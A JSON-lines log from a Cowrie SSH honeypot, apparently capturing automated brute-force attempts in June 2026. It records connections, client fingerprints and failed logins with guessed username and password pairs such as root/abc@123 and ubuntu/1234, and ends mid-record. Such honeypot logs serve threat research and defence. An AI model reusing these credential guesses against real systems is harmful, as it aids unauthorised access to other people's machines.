{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:51.975377Z","src_ip":"91.92.40.36","session":"c30b65d3cfab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maxima","message":"login attempt [root/maxima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:52.476844Z","src_ip":"45.123.217.22","session":"04f22bcd2d4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":42220,"dst_ip":"10.17.0.5","dst_port":22,"session":"fea49871581b","protocol":"ssh","message":"New connection: 181.188.176.242:42220 (10.17.0.5:22) [session: fea49871581b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:52.743308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:52.748822Z","src_ip":"181.188.176.242","session":"fea49871581b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.1","message":"Connection lost after 12.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:52.801349Z","src_ip":"91.92.40.36","session":"1fc2e5e7f4a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:52.917037Z","src_ip":"181.188.176.242","session":"fea49871581b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gogs","password":"123456","message":"login attempt [gogs/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:53.625367Z","src_ip":"181.188.176.242","session":"fea49871581b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:53.706336Z","src_ip":"45.123.217.22","session":"04f22bcd2d4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:54.369457Z","src_ip":"91.92.40.36","session":"0390fca749a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:54.793971Z","src_ip":"181.188.176.242","session":"fea49871581b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38648,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a3674110f06","protocol":"ssh","message":"New connection: 91.92.40.36:38648 (10.17.0.5:22) [session: 3a3674110f06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:57.813163Z"}
{"eventid":"cowrie.login.failed","username":"alfred","password":"alfred","message":"login attempt [alfred/alfred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:59.012485Z","src_ip":"91.92.40.36","session":"c30b65d3cfab","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:59.480304Z","src_ip":"91.92.40.36","session":"3a3674110f06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:20:59.486567Z","src_ip":"91.92.40.36","session":"3a3674110f06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.3","message":"Connection lost after 10.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:01.005434Z","src_ip":"91.92.40.36","session":"c30b65d3cfab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:04.276116Z","src_ip":"91.92.40.36","session":"3a3674110f06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38674,"dst_ip":"10.17.0.5","dst_port":22,"session":"98257353d9d1","protocol":"ssh","message":"New connection: 91.92.40.36:38674 (10.17.0.5:22) [session: 98257353d9d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:04.573691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:05.768377Z","src_ip":"91.92.40.36","session":"98257353d9d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:05.772377Z","src_ip":"91.92.40.36","session":"98257353d9d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:06.503367Z","src_ip":"91.92.40.36","session":"3a3674110f06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":23542,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3a1bfc64de9","protocol":"ssh","message":"New connection: 91.92.40.36:23542 (10.17.0.5:22) [session: e3a1bfc64de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:10.479024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:12.846004Z","src_ip":"91.92.40.36","session":"e3a1bfc64de9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:12.849374Z","src_ip":"91.92.40.36","session":"e3a1bfc64de9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"MoeClub.org","message":"login attempt [root/MoeClub.org] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:13.447415Z","src_ip":"91.92.40.36","session":"98257353d9d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.5","message":"Connection lost after 11.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:16.040792Z","src_ip":"91.92.40.36","session":"98257353d9d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc@123","message":"login attempt [root/abc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:18.550059Z","src_ip":"91.92.40.36","session":"e3a1bfc64de9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.6","message":"Connection lost after 9.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:20.098877Z","src_ip":"91.92.40.36","session":"e3a1bfc64de9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":64474,"dst_ip":"10.17.0.5","dst_port":22,"session":"16a17ffd6632","protocol":"ssh","message":"New connection: 91.92.40.36:64474 (10.17.0.5:22) [session: 16a17ffd6632]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:21.255170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:21.826292Z","src_ip":"91.92.40.36","session":"16a17ffd6632","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:21.830172Z","src_ip":"91.92.40.36","session":"16a17ffd6632","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234abcd","message":"login attempt [root/1234abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:26.250997Z","src_ip":"91.92.40.36","session":"16a17ffd6632","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":17838,"dst_ip":"10.17.0.5","dst_port":22,"session":"e532eacbcb51","protocol":"ssh","message":"New connection: 91.92.40.36:17838 (10.17.0.5:22) [session: e532eacbcb51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:28.682754Z"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:28.744837Z","src_ip":"91.92.40.36","session":"16a17ffd6632","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:30.113964Z","src_ip":"91.92.40.36","session":"e532eacbcb51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:30.117270Z","src_ip":"91.92.40.36","session":"e532eacbcb51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":17888,"dst_ip":"10.17.0.5","dst_port":22,"session":"423870723ae1","protocol":"ssh","message":"New connection: 91.92.40.36:17888 (10.17.0.5:22) [session: 423870723ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:34.062749Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.47.28","src_port":37378,"dst_ip":"10.17.0.5","dst_port":22,"session":"672e4dc78ae1","protocol":"ssh","message":"New connection: 87.106.47.28:37378 (10.17.0.5:22) [session: 672e4dc78ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:34.518538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:34.522732Z","src_ip":"87.106.47.28","session":"672e4dc78ae1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:34.618733Z","src_ip":"87.106.47.28","session":"672e4dc78ae1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dev@2026","message":"login attempt [root/Dev@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:35.037781Z","src_ip":"87.106.47.28","session":"672e4dc78ae1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:21:35.175960Z","src_ip":"91.92.40.36","session":"423870723ae1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm